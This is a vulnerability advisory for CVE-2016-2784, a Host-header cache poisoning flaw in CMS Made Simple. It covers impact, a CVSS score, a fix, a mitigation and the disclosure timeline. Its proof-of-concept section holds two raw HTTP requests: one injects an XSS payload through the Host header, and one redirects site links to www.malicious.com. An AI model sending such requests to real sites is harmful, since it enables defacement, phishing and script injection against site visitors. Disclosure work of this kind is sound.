CMS Made Simple < 2.1.3 / < 1.12.1 - Web Server Cache Poisoning

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Web Server Cache Poisoning in CMS Made Simple

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CVE-2016-2784



Product Description

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CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to 

be simple to use by end users and to provide a secure and robust website.



Website: http://www.cmsmadesimple.org/



Description

===========



A remote unauthenticated attacker can insert malicious content in a CMS Made Simple 

installation by poisoning the web server cache when Smarty Cache is activated by modifying 

the Host HTTP Header in his request.



The vulnerability can be triggered only if the Host header is not part of the web server 

routing process (e.g. if several domains are served by the same web server).



This can lead to phishing attacks because of the modification of the site's links, 

defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in 

$_SERVER variable.



**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-20

**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)



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Proof of Concept

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Request that shows improper HTML entities filtering and will insert 

' onload='javacript:alert(Xss) in the pages :



  GET / HTTP/1.1

  Host: ' onload='javascrscript:ipt:alert(Xss)

  Accept: */*

  Accept-Encoding: gzip, deflate

  Connection: close

  

Request that changes the root domain for all links and allows to redirect to external 

websites : 



  GET / HTTP/1.1

  Host: www.malicious.com

  Accept: */*

  Accept-Encoding: gzip, deflate

  Connection: close

  

Solution

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Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST'] 

given that the server name is correctly defined or use an application specific 

constant.



Fixes

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Upgrade to CMS Made Simple 2.1.3 or 1.12.2.



See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and 

http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade 

instructions.



Mitigation : disable Smarty caching in the admin panel.



Affected Versions

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CMS Made Simple < 2.1.3 and < 1.12.2



Vulnerability Disclosure Timeline

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02-24-2016: Vendor contacted

02-24-2016: Vulnerability confirmed by the vendor

03-01-2016: CVE identifier assigned

03-28-2016 & 04-16-2016: Vendor patch release

05-03-2016: Public Disclosure



Credits

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 * Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)

 

 Website: http://www.i-tracing.com/